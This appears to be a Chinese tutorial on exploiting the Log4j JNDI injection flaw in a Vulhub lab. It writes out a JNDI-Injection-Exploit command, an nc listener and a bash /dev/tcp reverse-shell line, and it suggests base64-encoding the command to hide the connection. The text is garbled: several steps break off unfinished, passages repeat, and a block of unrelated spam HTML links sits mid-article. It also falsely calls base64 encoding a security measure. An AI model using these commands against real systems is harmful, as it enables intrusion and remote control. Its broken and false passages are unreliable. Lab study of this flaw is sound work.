漏洞概述
Apache Log4j远程代码执行漏洞，即去年备受关注的Log4j漏洞，是一种严重的安全威胁。Log4j作为一款广泛使用的日志框架，通过精心定义每条日志信息的级别，能够实现对日志生成过程的细致控制。然而，某些受影响的版本中存在JNDI注入漏洞，使得在记录用户输入数据时，可能触发该漏洞，进而导致远程代码执行。此漏洞利用条件低，影响范围广泛，从网站到联网车辆等各类设备均可能受到影响。
02靶场环境搭建
若要深入研究和测试这一漏洞，可以搭建一个Vulnhub靶场环境。具体而言，进入Vulhub靶场的vulhub-log4j-CVE-2021-44228目录，并执行docker-compose up -d命令启动镜像。请注意，启动过程可能需要一些时间，请耐心等待。成功启动后，通过访问...
03漏洞验证方法
> 验证漏洞存在性
为了验证Apache Log4j远程代码执行漏洞的存在，我们可以利用ceye平台来接收dnslog信息。首先，访问ceye.io平台，并设置相应的dnslog接收地址，例如：
此外，访问目标IP地址并发送特定请求也是验证的重要手段。
> 验证Java版本
要验证Apache Log4j远程代码执行漏洞，我们可以通过执行特定命令来获取Java版本，从而证明漏洞的存在。这可以通过利用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具来完成。首先，使用以下命令创建success文件：
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/success" -A
执行此命令后，如果成功创建了/tmp/success文件，那么就证明了Java版本中存在漏洞，进而验证了Apache Log4j远程代码执行漏洞的存在。
> 访问目标IP地址
为了进一步验证Apache Log4j远程代码执行漏洞，我们需要尝试访问目标IP地址，例如192.168.0.1。通过发送特定的请求到该地址，我们可以触发漏洞的利用，并观察是否能够成功执行远程代码。这一步骤是验证漏洞是否存在的重要环节。
通过发送包含恶意构造的请求到目标IP地址，观察是否能够成功触发漏洞并执行远程代码，这一步骤是验证漏洞是否存在的关键环节。
04远程代码执行
> 反弹shell
使用nc和bash工具创建反弹shell，反弹shell涉及到网络攻击和安全风险，仅限于授权的专业人员使用。
首先，启动一个监听端口，例如使用nc.exe工具监听9999端口：
```
nc.exe -lvvp 9999
```
接着，使用bash等工具构造一个反弹shell，例如：
```bash
bash -i >& /dev/tcp/localhost/9999 0>&1
```
这样，当攻击者尝试连接时，shell将会反弹到你的监听端口上。
<h1><p id="r4j.ymt360.org.cn">2</p></h1> <h1><p id="9zz.dsacxz27.org.cn">3</p></h1> <h1><p id="nq5.aigc-100.org.cn">6</p></h1> <h1><p id="xx1.musetheskincompany.org.cn">6</p></h1> <h1><p id="ei1.zlcdzcj.com">8</p></h1> <h1><p id="xax.nixi.org.cn">3</p></h1> <h1><p id="rwx.qwecxz28.org.cn">2</p></h1> <h1><p id="mv6.tweeak.com">5</p></h1> <h1><p id="pck.sdscmxh.org.cn">1</p></h1> <h1><p id="19t.baidyb.org.cn">3</p></h1>
> 连接至目标端口
在成功构造了反弹shell后，你需要连接至指定的IP地址和端口，例如192.168.0.1的9999端口，以获取反弹的shell。请注意，这一步骤需要在合法且授权的范围内进行，以确保你的操作符合相关法规和道德标准。
通过命令行或网络工具连接到指定的IP地址和端口，这项操作对于获取反弹的shell至关重要，因为它允许你远程控制目标系统。
> 使用base64编码
在构造了反弹shell并准备进行连接时，你可以使用base64编码来增强连接的安全性。请确保在合法且授权的范围内使用此方法，并遵循相关法规和道德标准。
在尝试连接至192.168.0.1的9999端口时，采用base64编码可以进一步提升连接的安全性。通过将连接命令进行base64编码，然后在目标系统上执行解码操作，从而实现对9999端口的隐蔽且安全的连接。但请务必在合法且获得明确授权的前提下使用此方法，同时需严格遵循相关法规和道德规范。
